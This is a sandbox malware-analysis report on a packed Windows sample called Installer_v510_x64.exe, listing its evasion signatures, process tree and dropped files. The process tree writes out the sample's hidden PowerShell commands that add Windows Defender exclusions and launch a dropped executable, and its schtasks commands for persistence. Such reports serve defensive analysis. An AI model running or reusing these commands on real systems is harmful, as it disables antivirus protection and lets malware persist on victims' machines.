Analysis
- max time kernel
149s - max time network
148s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20250619-en - resource tags
- submitted
25/10/2025, 14:58
General
- Target Installer_v510_x64.exe
- Size 5.4MB
- Sample251025-sb6c8aew2b
- SHA256 23211cc5c51e8a3d1c0c8a99e5d726e232dd54f8dac7ca28ff11abaca76e864c
Malware Config
Signatures
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 3 IoCs
- Themida packer 3 IoCs
Detects Themida, an advanced Windows software protection system.
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 22 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\Installer_v510_x64.exe"C:\Users\Admin\AppData\Local\Temp\Installer_v510_x64.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden Add-MpPreference -ExclusionPath @('C:\Users\Admin\AppData\Local\Temp\Installer_v510_x64.exe', 'C:\Users\Admin\AppData\Local', 'C:\Users\Admin\AppData\Roaming', 'C:\Users\Admin\AppData\Local', 'C:\Users\Admin\AppData\Roaming'); Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\Installer_v510_x64.exe'; Add-MpPreference -ExclusionProcess 'InstallModule023871.exe'; Add-MpPreference -ExclusionProcess 'InstallUtil.exe'; Add-MpPreference -ExclusionProcess 'MSBuild.exe'; Add-MpPreference -ExclusionProcess 'AddInProcess.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden Start-Process 'C:\Users\Admin\AppData\Local\Temp\\InstallModule023871.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\InstallModule023871.exe"C:\Users\Admin\AppData\Local\Temp\InstallModule023871.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "fyjhnr" /XML "C:\Users\Admin\AppData\Local\Temp\e231af4cd2d3413f97ac825038c5dc21.xml" /F4⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "IsClosed" /XML "C:\Users\Admin\AppData\Local\Temp\290142ebd2b84276a1355738f9cf5857.xml" /F4⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe1⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local,C:\Users\Admin\AppData\Local\Temp\;Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\TypeId\zckxij\IsClosed.exe;Add-MpPreference -ExclusionProcess C:\Users\Admin\AppData\Local\TypeId\zckxij\IsClosed.exe;1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
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C:\Users\Admin\AppData\Local\TypeId\zckxij\IsClosed.exeC:\Users\Admin\AppData\Local\TypeId\zckxij\IsClosed.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe2⤵
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C:\Users\Admin\AppData\Local\TypeId\zckxij\IsClosed.exe"C:\Users\Admin\AppData\Local\TypeId\zckxij\IsClosed.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe2⤵
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
InstallUtil.exe.log
IsClosed.exe.log
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
290142ebd2b84276a1355738f9cf5857.xml
InstallModule023871.exe
__PSScriptPolicyTest_ysadmow3.pyj.ps1
e231af4cd2d3413f97ac825038c5dc21.xml
memory/1152-51-0x00000205D6820000-0x00000205D6864000-memory.dmp
memory/1152-52-0x00000205D68F0000-0x00000205D6966000-memory.dmp
memory/4868-39-0x0000000002D20000-0x0000000002D90000-memory.dmp
memory/4868-38-0x0000000000160000-0x00000000001F2000-memory.dmp
memory/4868-40-0x000000001BF40000-0x000000001C038000-memory.dmp
memory/5524-65-0x00007FFBD2B40000-0x00007FFBD2BFD000-memory.dmp
memory/5524-5-0x0000000000400000-0x0000000001142000-memory.dmp
memory/5524-0-0x0000000000400000-0x0000000001142000-memory.dmp
memory/5524-2-0x00007FFBD2B40000-0x00007FFBD2BFD000-memory.dmp
memory/5524-16-0x0000000000400000-0x0000000001142000-memory.dmp
memory/5524-22-0x00007FFBD2B40000-0x00007FFBD2BFD000-memory.dmp
memory/5524-1-0x00007FFBD2B5B000-0x00007FFBD2B5C000-memory.dmp
memory/5524-68-0x0000000000400000-0x0000000001142000-memory.dmp
memory/5524-21-0x00007FFBD2B5B000-0x00007FFBD2B5C000-memory.dmp
memory/5524-6-0x0000000000400000-0x0000000001142000-memory.dmp
memory/5524-24-0x0000000003DA0000-0x0000000003E34000-memory.dmp
memory/5968-20-0x00007FFBD2B40000-0x00007FFBD2BFD000-memory.dmp
memory/5968-7-0x00007FFBD2B40000-0x00007FFBD2BFD000-memory.dmp
memory/5968-17-0x00007FFBD2B40000-0x00007FFBD2BFD000-memory.dmp
memory/5968-15-0x000001986BC50000-0x000001986BC72000-memory.dmp